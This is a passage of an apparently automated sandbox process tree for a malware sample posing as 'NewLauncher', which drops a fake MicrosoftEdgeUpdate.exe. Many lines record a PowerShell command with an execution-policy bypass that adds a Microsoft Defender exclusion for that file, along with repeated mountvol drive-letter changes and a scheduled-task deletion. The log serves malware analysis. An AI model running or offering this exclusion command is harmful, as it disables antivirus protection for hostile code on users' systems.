  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" J: /D
      4⤵
      PID:7156
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" K: /S
      4⤵
      PID:1508
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" K: /D
      4⤵
      PID:2556
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" L: /S
      4⤵
      PID:6212
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" L: /D
      4⤵
      PID:2284
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" M: /S
      4⤵
      PID:908
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" M: /D
      4⤵
      PID:5808
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" N: /S
      4⤵
      PID:3036
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" N: /D
      4⤵
      PID:6392
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" O: /S
      4⤵
      PID:1336
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" O: /D
      4⤵
      PID:6648
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" P: /S
      4⤵
      PID:2340
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" P: /D
      4⤵
      PID:5088
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Q: /S
      4⤵
      PID:1628
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Q: /D
      4⤵
      PID:7024
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" R: /S
      4⤵
      PID:4592
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" R: /D
      4⤵
      PID:264
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" S: /S
      4⤵
      PID:6676
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2128
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" S: /D
      4⤵
      PID:3208
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" T: /S
      4⤵
      PID:2840
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" T: /D
      4⤵
      PID:2588
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" U: /S
      4⤵
      PID:5200
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" U: /D
      4⤵
      PID:7012
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" V: /S
      4⤵
      PID:3172
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" V: /D
      4⤵
      PID:4564
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" W: /S
      4⤵
      PID:7112
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" W: /D
      4⤵
      PID:3904
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" X: /S
      4⤵
      PID:5604
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" X: /D
      4⤵
      PID:6692
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Y: /S
      4⤵
      PID:3284
  - - C:\Windows\SYSTEM32\mountvol.exe
      "mountvol" Y: /D
      4⤵
      PID:5876
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "Intel PTT EK Recertification_43b3b259" /F
    3⤵
    PID:1940
- C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
  "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5112
- - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2396
- - C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
    "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:600
  - - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
      4⤵
      Executes dropped EXE
      PID:1900
  - - C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
      "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2296
    - - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        5⤵
        Executes dropped EXE
        
        PID:3544
    - - C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4132
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3640
      - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        6⤵
        Executes dropped EXE
        
        PID:1008
      - C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4340
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        7⤵
        Executes dropped EXE
        
        PID:7024
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        7⤵
        
        PID:2400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        
        PID:3960
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        8⤵
        Executes dropped EXE
        
        PID:6808
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        8⤵
        
        PID:5896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3436
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        9⤵
        Executes dropped EXE
        
        PID:2280
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        9⤵
        
        PID:5440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        10⤵
        Executes dropped EXE
        
        PID:4264
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        10⤵
        
        PID:2452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5592
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:3188
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        11⤵
        Executes dropped EXE
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        11⤵
        
        PID:1992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        12⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        12⤵
        Executes dropped EXE
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        12⤵
        
        PID:6572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1580
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        13⤵
        Executes dropped EXE
        
        PID:3108
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        13⤵
        
        PID:4608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4592
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        14⤵
        Executes dropped EXE
        
        PID:5184
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        14⤵
        
        PID:4368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        15⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:700
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        15⤵
        Executes dropped EXE
        
        PID:6076
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        15⤵
        
        PID:1080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        16⤵
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        16⤵
        Executes dropped EXE
        
        PID:2816
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        16⤵
        
        PID:2628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        17⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3396
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        17⤵
        Executes dropped EXE
        
        PID:6428
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        17⤵
        
        PID:3384
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        18⤵
        Executes dropped EXE
        
        PID:7024
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        18⤵
        
        PID:2264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        19⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5080
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        19⤵
        Executes dropped EXE
        
        PID:4152
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        19⤵
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4452
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        20⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        20⤵
        
        PID:2596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        21⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6904
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        21⤵
        
        PID:1752
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        21⤵
        
        PID:1504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        22⤵
        
        PID:688
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        22⤵
        
        PID:4352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        23⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4772
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        23⤵
        
        PID:5404
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        23⤵
        
        PID:4536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4136
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        24⤵
        
        PID:1052
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        24⤵
        
        PID:1700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        25⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6272
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        25⤵
        
        PID:3372
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        25⤵
        
        PID:7104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        26⤵
        
        PID:248
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        26⤵
        
        PID:6248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        27⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3220
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        27⤵
        
        PID:1752
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        27⤵
        
        PID:3296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        28⤵
        
        PID:6428
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        28⤵
        
        PID:1896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        29⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6748
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        29⤵
        
        PID:5276
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        29⤵
        
        PID:4792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5476
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        30⤵
        
        PID:6332
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        30⤵
        
        PID:7024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        31⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        31⤵
        
        PID:4280
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        31⤵
        
        PID:6624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        32⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3644
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        32⤵
        
        PID:3840
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        32⤵
        
        PID:620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        33⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        33⤵
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        33⤵
        
        PID:6288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5588
        
        C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
        34⤵
        
        PID:4684
        
        C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"
        34⤵
        
        PID:4072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1844
        
